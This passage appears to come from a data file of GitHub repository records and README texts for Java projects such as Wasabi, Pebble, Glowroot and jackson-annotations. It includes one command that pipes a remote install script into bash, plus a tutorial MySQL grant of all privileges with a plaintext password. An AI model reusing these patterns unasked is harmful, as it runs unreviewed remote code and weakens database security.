Now while that was fun, in all likelihood you will be using an IDE to work on Wasabi. In doing so, you need only
add the configuration information above to the JVM commandline prior to startup:
> Wasabi runtime configuration:
```bash
-DnodeHosts=localhost -Ddatabase.url.host=localhost
```
#### Run Integration Tests
Code changes can readily be verified by running the growing collection of included integration tests:
```bash
% ./bin/wasabi.sh start test stop
```
##### Troubleshooting
Integration tests might fail intermittently due to a time drift issue in docker containers on Mac OSX.
When the Mac sleeps and wakes back up, there is a lag created between the clock in the Mac vs the
running docker containers. This is a known issue in Docker for Mac.
This can be fixed by running the following command:
```bash
% docker run --rm --privileged alpine hwclock -s
```
The above command will need to be run every time when there is a time drift.
To automatically run this command and update the time each time the Mac wakes up, you could install
the following agent:
```bash
% curl https://raw.githubusercontent.com/arunvelsriram/docker-time-sync-agent/master/install.sh | bash
```
You can read more about this at: [quick-tip-fixing-time-drift-issue-on-docker-for-mac](https://blog.shameerc.com/2017/03/quick-tip-fixing-time-drift-issue-on-docker-for-mac)
## Package and Deploy at Scale
Wasabi can readily be packaged as installable *rpm* or *deb* distributions and deployed at scale as follows:
> Package by running integration tests 1st:
```bash
% ./bin/wasabi.sh start package
```
> Package without integration tests, if needed:
```bash
% ./bin/wasabi.sh -t false package
```
> Find generated package files:
```bash
% find . -type f \( -name "*.rpm" -or -name "*.deb" \)
```
Note: [Java 8](http://www.oracle.com/technetwork/java/javase/overview/index.html) is a runtime dependency
## Integrate
Wasabi is readily embeddable via the following *maven* dependency GAV family:
```xml
<dependency>
<groupId>com.intuit.wasabi</groupId>
<artifactId>wasabi</artifactId>
<version>1.0.20160627213750<build_timestamp></version>
</dependency>
```
## Contribute
We greatly encourage contributions! You can add new features, report and fix existing bugs, write docs and
tutorials, or any of the above. Feel free to open issues and/or send pull requests.
The `master` branch of this repository contains the latest stable release of Wasabi, while snapshots are published to the `develop` branch. In general, pull requests should be submitted against `develop` by forking this repo into your account, developing and testing your changes, and creating pull requests to request merges. See the [Contributing to a Project](https://guides.github.com/activities/contributing-to-open-source/)
article for more details about how to contribute in general and find more specific information on how to write code for Wasabi in our [user guide](https://intuit.github.io/wasabi/v1/guide/index.html#developing-wasabi).
Extension projects such as browser plugins, client integration libraries, and apps can be contributed under the `contrib` directory.
Steps to contribute:
1. Fork this repository into your account on Github
2. Clone *your forked repository* (not our original one) to your hard drive with `git clone https://github.com/YOURUSERNAME/wasabi.git`
3. Design and develop your changes
4. Add/update unit tests
5. Add/update integration tests
6. Add/update documentation on `gh-pages` branch
7. Create a pull request for review to request merge
8. Obtain 2 approval _squirrels_ before your changes can be merged
Thank you for your contribution!
| 0 |
antoniolg/MaterialEverywhere | Showcase of the new AppCompat 21, which includes new Material Theme, working in pre-21 devices. | null | MaterialEverywhere _(deprecated)_
==================
_This example is deprecated, I recommend taking a look at [MaterializeYourApp](https://github.com/antoniolg/MaterializeYourApp) repository._
Showcase of the new AppCompat 21, which includes new Material Theme, working in pre-21 devices.
Blog post explanation at [antonioleiva.com](http://antonioleiva.com/material-design-everywhere/)
| 0 |
wupeixuan/JDKSourceCode1.8 | Jdk1.8源码解析 | java jdk jdk8 | # JDK 1.8 源码解析
专注分享后端技术干货，包括 Java 基础、Java 并发、JVM、Nginx、Zookeeper、微服务、消息队列、源码解析、数据库、设计模式、面经等，助你编程之路少走弯路。
## 基础
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/lang/String.java">String 源码</a>
## 集合
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/util/ArrayList.java">ArrayList 源码解析</a>
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/util/LinkedList.java">LinkedList 源码解析</a>
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/util/HashMap.java">HashMap 源码解析</a>
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/util/Hashtable.java">Hashtable 源码解析</a>
## 并发集合类
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/util/concurrent/ConcurrentHashMap.java">ConcurrentHashMap 源码解析</a>
## 线程
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/lang/Thread.java">Thread 源码解析</a>
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/lang/Runnable.java">Runnable 源码解析</a>
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/util/concurrent/ThreadPoolExecutor.java">ThreadPoolExecutor 源码解析</a>
## 其他
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/lang/Object.java">Object 源码解析</a>
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/lang/Runtime.java">Runtime 源码解析</a>
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/lang/ThreadLocal.java">ThreadLocal 源码解析</a>
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/lang/InheritableThreadLocal.java">InheritableThreadLocal 源码解析</a>
<a href="https://github.com/wupeixuan/JDKSourceCode1.8/blob/master/src/java/lang/ref/WeakReference.java">WeakReference 源码解析</a>
| 0 |
Baeldung/spring-security-registration | Go further into Learn Spring Security": " | spring spring-security | ## Login and Registration Example Project with Spring Security
If you're already a student of Learn Spring Security, you can get started diving deeper into registration with Module 2 </br>
If you're not yet a student, you can get access to the course here: https://bit.ly/github-lss
</br></br></br>
### Relevant Articles:
- [Spring Security Registration Tutorial](https://www.baeldung.com/spring-security-registration)
- [The Registration Process With Spring Security](https://www.baeldung.com/registration-with-spring-mvc-and-spring-security)
- [Registration – Activate a New Account by Email](https://www.baeldung.com/registration-verify-user-by-email)
- [Registration with Spring Security – Password Encoding](https://www.baeldung.com/spring-security-registration-password-encoding-bcrypt)
- [Spring Security – Roles and Privileges](https://www.baeldung.com/role-and-privilege-for-spring-security-registration)
- [Prevent Brute Force Authentication Attempts with Spring Security](https://www.baeldung.com/spring-security-block-brute-force-authentication-attempts)
- [Spring Security – Reset Your Password](https://www.baeldung.com/spring-security-registration-i-forgot-my-password)
- [Spring Security Registration – Resend Verification Email](https://www.baeldung.com/spring-security-registration-verification-email)
- [The Registration API becomes RESTful](https://www.baeldung.com/registration-restful-api)
- [Registration – Password Strength and Rules](https://www.baeldung.com/registration-password-strength-and-rules)
- [Updating Your Password](https://www.baeldung.com/updating-your-password)
- [Two Factor Auth with Spring Security](https://www.baeldung.com/spring-security-two-factor-authentication-with-soft-token)
- [Registration with Spring – Integrate reCAPTCHA](https://www.baeldung.com/spring-security-registration-captcha)
- [Purging Expired Tokens Generated by the Registration](https://www.baeldung.com/registration-token-cleanup)
- [Custom Login Page for Returning User](https://www.baeldung.com/custom-login-page-for-returning-user)
- [Allow Authentication from Accepted Locations Only with Spring Security](https://www.baeldung.com/spring-security-restrict-authentication-by-geography)
- [Spring Security – Auto Login User After Registration](https://www.baeldung.com/spring-security-auto-login-user-after-registration)
- [Keep Track of Logged in Users With Spring Security](https://www.baeldung.com/spring-security-track-logged-in-users)
- [Login for a Spring Web App – Error Handling and Localization](https://www.baeldung.com/spring-security-login-error-handling-localization)
- [Notify User of Login From New Device or Location](https://www.baeldung.com/spring-security-login-new-device-location)
- [Preventing Username Enumeration Attacks with Spring Security](https://www.baeldung.com/spring-security-enumeration-attacks)
### Build and Deploy the Project
```
mvn clean install
```
This is a Spring Boot project, so you can deploy it by simply using the main class: `Application.java`
Once deployed, you can access the app at:
https://localhost:8081
### Set up MySQL
By default, the project is configured to use the embedded H2 database.
If you want to use the MySQL instead, you need to uncomment relevant section in the [application.properties](src/main/resources/application.properties) and create the db user as shown below:
```
mysql -u root -p
> CREATE USER 'tutorialuser'@'localhost' IDENTIFIED BY 'tutorialmy5ql';
> GRANT ALL PRIVILEGES ON *.* TO 'tutorialuser'@'localhost';
> FLUSH PRIVILEGES;
```
### Set up Email
You need to configure the email by providing your own username and password in application.properties
You also need to use your own host, you can use Amazon or Google for example.
### AuthenticationSuccessHandler configuration for Custom Login Page article
If you want to activate the configuration for the article [Custom Login Page for Returning User](https://www.baeldung.com/custom-login-page-for-returning-user), then you need to comment the @Component("myAuthenticationSuccessHandler") annotation in the MySimpleUrlAuthenticationSuccessHandler and uncomment the same in MyCustomLoginAuthenticationSuccessHandler.
### Feature toggle for Geo IP Lib
The geolocation checks do not work for the IP addresses 127.0.0.1 and 0.0.0.0,
which can be a problem when running the application locally or in a test environment.
To enable/disable the check on the geolocation, set the property `geo.ip.lib.enabled` to true/false; this is false by default.
| 0 |
repeats/Repeat | Cross-platform mouse/keyboard record/replay and automation hotkeys/macros creation, and more advanced automation features. | autohotkey automation automation-framework csharp hotkey java keyboard keyboard-shortcuts macro macros mouse python replay |
[<img src="https://sourceforge.net/sflogo.php?type=11&group_id=3172773" width="250">](https://sourceforge.net/projects/repeat1/)
(For Vietnamese audience: Xem README bản tiếng Việt [tại đây](https://github.com/repeats/Repeat/blob/master/README_vn.md).)
Repeat
======
Full-fledged mouse/keyboard record/replay and sophisticated automation macros/hotkeys creation using modern programming languages, and more advanced automation features. Available across three major OSes: Windows, OSX, and Linux.
Demo
====
Note that the following gifs are at 1x speedup.
[Task creation - All caps](https://youtu.be/wICRVQNVNSM)
[Task creation - Fixing a typo](https://youtu.be/oCCyYbj198U)
[Task creation - Clipboard with history](https://youtu.be/dqNckwIPjCE)
[Playing Collapse 3](https://youtu.be/19i5ZlZvsAc)
[Playing Plants vs Zombies](https://youtu.be/7pQHcFfrpDI)
Features
=======
1. Record and replay computer activities.
2. Store recorded tasks and replay them later.
3. Write your own task **in your favorite text editor** using Python or Java so you have more control over the computer.
4. Assign multiple arbitrary hotkey combinations to activate a stored task.
5. Assign multiple mouse gestures to activate a stored task.
6. Compile and run tasks on a group of remote machines.
7. Manage your Repeat tasks (either recorded or written).
Disclaimer
==========
1. This is not a password storage program. Source code written is not encrypted.
2. This program executes your own code. Use the advanced compile - replay feature carefully. Test your task before adding it to the list.
Getting started and advanced features
=====================================
Check out the [wiki page](https://github.com/repeats/Repeat/wiki).
Requirements
============
JDK 8.0 or above. Both Oracle JDK and OpenJDK are OK.
If you wish to write/run tasks in Python, then Python3 is required.
On Windows, no special permission required.
On Linux, X11 window system. This would not work on Wayland window system.
On OSX, accessibility permission is required for the native hook to work. Enable this in System Preference --> Security & Privacy --> Accessibilty --> Privacy.
Installation
============
Just download the [latest version](https://github.com/repeats/Repeat/releases/latest), put the jar in a **separate** directory, and run it with java. That's it! You may need appropriate privileges since Repeat needs to listen to and/or control the mouse and keyboard.
The recommended way to launch the program is through terminal:
$cd <jar_directory>
$java -jar Repeat.jar
**Important:** The path containing the JAR file **must not** have space in it.
Note that since **Java 9**, the jar file must be launched from a JDK (as opposed to a JRE) to be able to compile file. The workaround used in Java 8 and before to set Java home no longer works.
FAQ
===
## What is the difference between this and [AutoHotkey](https://autohotkey.com/) or [AutoKey](https://github.com/autokey/autokey)?
1. This runs on any platform that supports Java and is non [headless](https://en.wikipedia.org/wiki/Headless_software). AutoHotkey is written for Windows only, and AutoKey is only for Linux. Repeat works on Linux, Windows, and OSX. **The written macro can be re-used cross platforms.**
2. The only limit to your hotkey power is your knowledge of the language you write your tasks in (e.g. Java, Python or C#). You don't have to learn a new meta language provided by AutoHotkey. This allows you to leverage your expertise in the language chosen and/or the immense support from the internet.
## Why is this only available in non headless system?
It does not make sense to listen to keyboard and mouse events in a headless system. How can you move your mouse if you have no screen? What would typing a key mean in such system?
## I am running a Linux machine. Will the C# module get started at application start time?
C# module is disabled if you are on a non Windows OS. Nothing from C# module will get started.
## Why can't this be a web service? It's a lot of effort downloading the JAR and run it.
This application listens on your mouse and keyboard events as well as allowing you to simulate mouse/keyboard events. If I could do such thing from a web browser, some hackers must have got your personal information, passwords, bank account number by now.
Libraries used
==============
1. [Simple Native Hooks](https://github.com/repeats/SimpleNativeHooks)
2. [Argo JSON](http://argo.sourceforge.net)
3. [Jama - A Java matrix package](https://math.nist.gov/javanumerics/jama/)
4. [Apache HttpComponents Core](https://hc.apache.org/httpcomponents-core-ga/index.html)
5. [Apache HttpClient](https://hc.apache.org/httpcomponents-client-ga/index.html)
6. [FreeMarker Java Template Engine](https://freemarker.apache.org/)
7. [Light Bootstrap Dashboard](https://creative-tim.com/product/light-bootstrap-dashboard)
8. [CodeMirror: a versatile text editor in Javascript](http://codemirror.net)
9. [Chart.js: simple yet flexible JavaScript charting](https://chartjs.org)
| 0 |
tobato/FastDFS_Client | Java Client for FastDFS | null | null | 0 |
PebbleTemplates/pebble | Java Template Engine | java java-template-engine | # Pebble 
Pebble is a java templating engine inspired by [Twig](https://twig.symfony.com/). It separates itself from the crowd with its inheritance feature and its easy-to-read syntax. It ships with built-in autoescaping for security, and it includes integrated support for internationalization.
For more information please visit the [website](https://pebbletemplates.io).
# Artifact id renaming for pebble-spring-boot-starter
As of version 3.1.0 and in order to follow this naming [recommendation](https://github.com/spring-projects/spring-boot/wiki/Building-On-Spring-Boot#naming), the artifactId of pebble-spring-boot-starter has been renamed. Please
use one of the following artifactId according to the spring boot version that you are using
| ArtifactId | spring-boot version |
|-----------------------------------|---------------------|
| pebble-legacy-spring-boot-starter | 2.x.x |
| pebble-spring-boot-starter | 3.x.x |
# Breaking changes in version 3.2.x
- Rename package from `com.mitchellbosecke` to `io.pebbletemplates`
- Change default suffix to `.peb` instead of `.pebble` in spring boot autoconfiguration
- Rename method `getInstance` to `createInstance` in `BinaryOperator` interface (#521)
## License
Copyright (c) 2013, Mitchell Bösecke
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
* Neither the name of the {organization} nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
| 0 |
code4craft/netty-learning | Netty learning. | null | Netty源码解析
====
Netty是Java世界知名的网络应用框架。本系列文章是Netty的源码导读。
## 为什么要读Netty源码？
我认为，一般研究Netty源码出于两个原因：
1. 日常工作中使用到Netty，想要进一步了解；
2. 对Java网络编程感兴趣，想知道如何构建一个高性能网络应用。
另外，Netty的代码组织比较优秀，从中可以学到代码结构组织的方法。
## 这些文章讲什么？
本系列文章的介绍点包括：Netty的设计思想，网络编程的领域知识，以及Netty代码结构的骨干，可能也会包括一些具体场景的应用以及一些特性的分析。
==========
## 文章索引
## 一、Netty的架构
### [1.概述](posts/ch1-overview.md)
### [2.Netty中的buffer](posts/ch2-buffer.md)
### [3.Channel中的Pipeline](posts/ch3-pipeline.md)
### [4.Netty与Reactor模式](posts/ch4-reactor.md)
### [5.分门别类讲讲Handler](posts/ch5-handler.md) *未完成*
## 二、Netty中的特性与细节
### [1.理解Netty中的异步](posts/detail/ch1-async-in-netty.md)
## 三、Netty实战
### [1.构建一个socks proxy](posts/socks-proxy-by-netty.md)
=========
## 其他学习资料：
《Netty代码分析》 by 阿里中间件团队博客:
[http://jm-blog.aliapp.com/?p=423](http://jm-blog.aliapp.com/?p=423)
《netty从入门到精通》:
[http://cqupt123.iteye.com/blog/1682657](http://cqupt123.iteye.com/blog/1682657)
[@kafka0102](http://weibo.com/kafka0102)的《Netty实现原理浅析》[http://www.kafka0102.com/2010/06/167.html](http://www.kafka0102.com/2010/06/167.html)
[@OneCoder](http://weibo.com/kubicoder)的《Java NIO框架Netty教程》:
[http://www.coderli.com/category/open-source/distributed/netty](http://www.coderli.com/category/open-source/distributed/netty)
twitter关于3.0与4.0中Channel Event的说明：
[https://blog.twitter.com/2013/netty-4-at-twitter-reduced-gc-overhead](https://blog.twitter.com/2013/netty-4-at-twitter-reduced-gc-overhead)
[@章炎-友盟](http://weibo.com/dirlt)的博客：
[http://dirlt.com/netty.html](http://dirlt.com/netty.html)
[@李林锋hw](http://weibo.com/lilinfeng)的大作： [Netty5.0架构剖析和源码解读.pdf](http://vdisk.weibo.com/s/C9LV9iVqH13rW)
## 使用Netty的开源项目：
* ### [Dubbo](https://github.com/alibaba/dubbo)
阿里巴巴的RPC中间件。支持Netty和Mina。
* ### [Finagle](https://github.com/twitter/finagle)
Twitter的RPC中间件。使用Scala编写。
* ### [Norbert](https://github.com/rhavyn/norbert)
LinkedIn的RPC中间件。使用Scala编写。
* ### [Moco](https://github.com/dreamhead/moco)
基于Netty的HTTP MOCK服务器。
## 协议：
相关代码遵循Apache V2协议。
文档遵循CC-BYNC协议。
[](https://bitdeli.com/free "Bitdeli Badge")
| 0 |
ongakuer/PhotoDraweeView | PhotoView For Fresco | null | # PhotoDraweeView
[PhotoView](https://github.com/chrisbanes/PhotoView) For [Fresco](https://github.com/facebook/fresco)
[](https://maven-badges.herokuapp.com/maven-central/me.relex/photodraweeview)
## Gradle
###### AndroidX
```groovy
dependencies {
implementation 'com.facebook.fresco:fresco:x.x.x' // (latest)
implementation 'me.relex:photodraweeview:2.1.0'
}
```
###### Android Support Library
```groovy
dependencies {
implementation 'com.facebook.fresco:fresco:x.x.x' // (latest)
implementation 'me.relex:photodraweeview:1.1.3'
}
```
## Usage
```java
mPhotoDraweeView.setPhotoUri(Uri.parse("http://your.image.url"));
```
##### Using the ControllerBuilder
```java
PipelineDraweeControllerBuilder controller = Fresco.newDraweeControllerBuilder();
controller.setUri(URI);
controller.setOldController(mPhotoDraweeView.getController());
controller.setControllerListener(new BaseControllerListener<ImageInfo>() {
@Override
public void onFinalImageSet(String id, ImageInfo imageInfo, Animatable animatable) {
super.onFinalImageSet(id, imageInfo, animatable);
if (imageInfo == null || mPhotoDraweeView == null) {
return;
}
mPhotoDraweeView.update(imageInfo.getWidth(), imageInfo.getHeight());
}
});
mPhotoDraweeView.setController(controller.build());
```
## [Issues With ViewGroups](https://github.com/chrisbanes/PhotoView#issues-with-viewgroups)
| 0 |
glowroot/glowroot | Easy to use, very low overhead, Java APM | null | Glowroot
=========
## Requirements
* Java 8+ for agent
* Java 11+ for glowroot-central
## Quick start
1. Download and unzip [glowroot-0.14.2-dist.zip](https://github.com/glowroot/glowroot/releases/download/v0.14.2/glowroot-0.14.2-dist.zip)
2. Add `-javaagent:path/to/glowroot.jar` to your application's JVM args [[where are my application server's JVM args?](https://github.com/glowroot/glowroot/wiki/Where-are-my-application-server's-JVM-args%3F)]
3. Check that the user account that runs the JVM has write access to the glowroot folder
4. Start your application
5. Point your browser to http://localhost:4000
See the [wiki](https://github.com/glowroot/glowroot/wiki/Agent-Installation-(with-Embedded-Collector)) for optional post-installation steps.
## Please report any issues!
* [GitHub issue tracker](https://github.com/glowroot/glowroot/issues)
* [Google groups](https://groups.google.com/forum/#!forum/glowroot)
## Release announcements
* Follow [@glowroot](https://twitter.com/glowroot) on Twitter, or
* Subscribe to the [Google group](https://groups.google.com/forum/#!forum/glowroot)
## Building
The usual:
mvn clean install
Binary distribution is built under agent/dist/target.
Building requires Java 11+ and Maven 3.8.0+.
## Contributing
Glowroot uses [Immutables](https://immutables.github.io) annotation processing to eliminate maintenance on lots of boilerplate code. If you are using Eclipse, this requires installing the [m2e-apt](https://github.com/jbosstools/m2e-apt) plugin and changing Window > Preferences > Maven > Annotation Processing to "Automatically configure JDT APT".
To work on the UI, run org.glowroot.ui.sandbox.UiSandboxMain under a debugger inside your favorite IDE. This starts Glowroot and generates a variety of sample traces to give the UI something to display. Connect your browser to http://localhost:4000.
Also, Glowroot uses [Bower](http://bower.io) and [Grunt](http://gruntjs.com) to build its web assets (dependency management, Javascript concat/minify, LESS compile/uncss/minify, AngularJS template concat/minify, asset revving and more). The first time you run `mvn clean install`, Node, Bower and Grunt are installed locally under the `ui` directory (thanks to the [frontend-maven-plugin](https://github.com/eirslett/frontend-maven-plugin)).
If you are modifying web assets, you either need to run grunt to re-build them after each change, or (better) run `./grunt serve` from the `ui` directory and connect your browser to http://localhost:9000.
`./grunt serve` serves up the Glowroot web assets to the browser without the concat/minify/rev step, which makes testing/debugging much easier. It reverse proxies non- static resource requests to http://localhost:4000 to be handled by Glowroot. It also watches for changes to the files and performs live-reload of web assets inside the browser.
`./grunt serve:demo` does the same as above, except that it reverse proxies non- static resource requests to [https://demo.glowroot.org](https://demo.glowroot.org) instead of http://localhost:4000.
## Integration tests
Integration tests are run during Maven's standard `integration-test` lifecycle phase.
The Glowroot agent has an [integration test harness](agent/it-harness) which makes it easy to run sample application code and then validate the data captured by the agent. The integration test harness is able to run tests both using a custom weaving class loader (which is very convenient for running and debugging inside your favorite IDE), and by spawning a JVM with the -javaagent flag (which more correctly simulates real world conditions).
Browser-based integration tests are run using WebDriver. By default they run against Firefox. Thanks to [Sauce Labs](https://saucelabs.com), they also run against Chrome, IE (9, 10, 11) and Safari (6, 7, 8, 9) during every Travis CI build (see the jobs with TARGET=saucelabs).
## Microbenchmarks
Microbenchmarks are written using the excellent [JMH](http://openjdk.java.net/projects/code-tools/jmh/) benchmark harness. The microbenchmarks can be built and run under [agent/benchmarks](agent/benchmarks):
mvn clean package
java -jar target/benchmarks.jar -jvmArgs -javaagent:path/to/glowroot.jar
## Code quality
[SonarQube](http://www.sonarqube.org) is used to check Java coding conventions, code coverage, duplicate code, package cycles and much more. See analysis at [https://sonarcloud.io](https://sonarcloud.io/dashboard?id=org.glowroot%3Aglowroot-parent).
[Checker Framework](http://types.cs.washington.edu/checker-framework/) is used to eliminate fear of *null* with its rigorous [Nullness Checker](http://types.cs.washington.edu/checker-framework/current/checker-framework-manual.html#nullness-checker). It is run as part of every Travis CI build (see the job with TARGET=checker) and any violation fails the build.
## Dependency shading
All third party java libraries used by the agent are shaded under the org.glowroot.agent.shaded package to ensure there are no jar version conflicts with the application being monitored.
## License
Glowroot source code is licensed under the Apache License, Version 2.0.
See [Third Party Software](https://github.com/glowroot/glowroot/wiki/Third-Party-Software) for license detail of third party software included in the binary distribution.
| 0 |
FasterXML/jackson-annotations | Core annotations (annotations that only depend on jackson-core) for Jackson data processor | null | # Overview
This project contains general purpose annotations for
Jackson Data Processor, used on value and handler types.
The only annotations not included are ones that require dependency
to the [Databind package](../../../jackson-databind).
Note that only annotations themselves (and related value classes) are included, but no functionality
that uses annotations.
Project contains versions 2.0 and above: source code for earlier (1.x) versions is available from [Jackson-1](../../../jackson-1) repository.
[Full Listing of Jackson Annotations](../../wiki/Jackson-Annotations) details all available annotations;
[Project Wiki](../../wiki) gives more details.
Project is licensed under [Apache License 2.0](http://www.apache.org/licenses/LICENSE-2.0).
[](https://github.com/FasterXML/jackson-annotations/actions/workflows/main.yml)
[](https://maven-badges.herokuapp.com/maven-central/com.fasterxml.jackson.core/jackson-annotations)
[](http://www.javadoc.io/doc/com.fasterxml.jackson.core/jackson-annotations)
[](https://tidelift.com/subscription/pkg/maven-com-fasterxml-jackson-core-jackson-annotations?utm_source=maven-com-fasterxml-jackson-core-jackson-annotations&utm_medium=referral&utm_campaign=readme)
[](https://securityscorecards.dev/viewer/?uri=github.com/FasterXML/jackson-annotations)
-----
## Usage, general
### Improvements over typical Java annotations
In addition to regular usage (see below), there are couple of noteworthy improvements Jackson does:
* [Mix-in annotations](../../wiki/Mixin-Annotations) allow associating annotations on third-party classes ''without modifying classes''.
* Jackson annotations support full inheritance: meaning that you can ''override annotation definitions'', and not just class annotations but also method/field annotations!
### Maven, Java package
All annotations are in Java package `com.fasterxml.jackson.annotation`.
To use annotations, you need to use Maven dependency:
```xml
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>${jackson-annotations-version}</version>
</dependency>
```
or download jars from Maven repository (or via quick links on [Wiki](../../wiki))
## Usage, simple
Let's start with simple use cases: renaming or ignoring properties, and modifying types that are used.
Note: while examples only show field properties, same annotations would work with method (getter/setter) properties.
### Annotations for renaming properties
One of most common tasks is to change JSON name used for a property: for example:
```java
public class Name {
@JsonProperty("firstName")
public String _first_name;
}
```
would result in JSON like:
```json
{ "firstName" : "Bob" }
```
instead of
```json
{ "_first_name" : "Bob" }
```
### Annotations for Ignoring properties
Sometimes POJOs contain properties that you do not want to write out, so you can do:
```java
public class Value {
public int value;
@JsonIgnore public int internalValue;
}
```
and get JSON like:
```json
{ "value" : 42 }
```
or, you may get properties in JSON that you just want to skip: if so, you can use:
```java
@JsonIgnoreProperties({ "extra", "uselessValue" })
public class Value {
public int value;
}
```
which would be able to handle JSON like:
```json
{ "value" : 42, "extra" : "fluffy", "uselessValue" : -13 }
```
Finally, you may even want to just ignore any "extra" properties from JSON (ones for which there is no counterpart in POJO). This can be done by adding:
```java
@JsonIgnoreProperties(ignoreUnknown=true)
public class PojoWithAny {
public int value;
}
```
### Annotations for choosing more/less specific types
Sometimes the type Jackson uses when reading or writing a property is not quite what you want:
* When reading (deserializing), declared type may be a general type, but you know which exact implementation type to use
* When writing (serializing), Jackson will by default use the specific runtime type; but you may not want to include all information from that type but rather just contents of its supertype.
These cases can be handled by following annotations:
```java
public class ValueContainer {
// although nominal type is 'Value', we want to read JSON as 'ValueImpl'
@JsonDeserialize(as=ValueImpl.class)
public Value value;
// although runtime type may be 'AdvancedType', we really want to serialize
// as 'BasicType'; two ways to do this:
@JsonSerialize(as=BasicType.class)
// or could also use: @JsonSerialize(typing=Typing.STATIC)
public BasicType another;
}
```
-----
## Usage, intermediate
### Using constructors or factory methods
By default, Jackson tries to use the "default" constructor (one that takes no arguments), when creating value instances. But you can also choose to use another constructor, or a static factory method to create instance. To do this, you will need to use annotation `@JsonCreator`, and possibly `@JsonProperty` annotations to bind names to arguments:
```java
public class CtorPOJO {
private final int _x, _y;
@JsonCreator
public CtorPOJO(@JsonProperty("x") int x, @JsonProperty("y") int y) {
_x = x;
_y = y;
}
}
```
`@JsonCreator` can be used similarly for static factory methods.
But there is also an alternative usage, which is so-called "delegating" creator:
```java
public class DelegatingPOJO {
private final int _x, _y;
@JsonCreator
public DelegatingPOJO(Map<String,Object> delegate) {
_x = (Integer) delegate.get("x");
_y = (Integer) delegate.get("y");
}
}
```
the difference being that the creator method can only take one argument, and that argument must NOT have `@JsonProperty` annotation.
### Handling polymorphic types
If you need to read and write values of Objects where there are multiple possible subtypes (i.e. ones that exhibit polymorphism), you may need to enable inclusion of type information. This is needed so that Jackson can read back correct Object type when deserializing (reading JSON into Objects).
This can be done by adding `@JsonTypeInfo` annotation on ''base class'':
```java
@JsonTypeInfo(use=Id.MINIMAL_CLASS, include=As.PROPERTY, property="type") // Include Java class simple-name as JSON property "type"
@JsonSubTypes({@Type(Car.class), @Type(Aeroplane.class)}) // Required for deserialization only
public abstract class Vehicle {
}
public class Car extends Vehicle {
public String licensePlate;
}
public class Aeroplane extends Vehicle {
public int wingSpan;
}
public class PojoWithTypedObjects {
public List<Vehicle> items;
}
```
which gives serialized JSON like:
```json
{ "items": [
{ "type": "Car", "licensePlate": "X12345" },
{ "type": "Aeroplane", "wingSpan": 13 }
]}
```
Alternatively, `@JsonTypeInfo(use=DEDUCTION)` can be used to avoid requiring the 'type' field. For deserialization, types are _deduced_ based
on the fields available. Exceptions will be raised if subtypes do not have a distinct signature of fieldnames or JSON does
not resolve to single known signature.
Note that `@JsonTypeInfo` has lots of configuration possibilities: for more information check out
[Intro to polymorphic type handling](http://www.cowtowncoder.com/blog/archives/2010/03/entry_372.html)
### Changing property auto-detection
The default Jackson property detection rules will find:
* All ''public'' fields
* All ''public'' getters ('getXxx()' methods)
* All setters ('setXxx(value)' methods), ''regardless of visibility'')
But if this does not work, you can change visibility levels by using annotation `@JsonAutoDetect`.
If you wanted, for example, to auto-detect ALL fields (similar to how packages like GSON work), you could do:
```java
@JsonAutoDetect(fieldVisibility=JsonAutoDetect.Visibility.ANY)
public class POJOWithFields {
private int value;
}
```
or, to disable auto-detection of fields altogether:
```java
@JsonAutoDetect(fieldVisibility=JsonAutoDetect.Visibility.NONE)
public class POJOWithNoFields {
// will NOT be included, unless there is access 'getValue()'
public int value;
}
```
-----
## Support
### Community support
Jackson components are supported by the Jackson community through mailing lists, Gitter forum, Github issues. See [Participation, Contributing](../../../jackson#participation-contributing) for full details.
### Enterprise support
Available as part of the [Tidelift](https://tidelift.com/subscription/pkg/maven-com-fasterxml-jackson-core-jackson-annotations) Subscription.
The maintainers of `jackson-annotations` and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. [Learn more.](https://tidelift.com/subscription/pkg/maven-com-fasterxml-jackson-core-jackson-annotations?utm_source=maven-com-fasterxml-jackson-core-jackson-annotations&utm_medium=referral&utm_campaign=enterprise&utm_term=repo)
-----
## Further reading
Project-specific documentation:
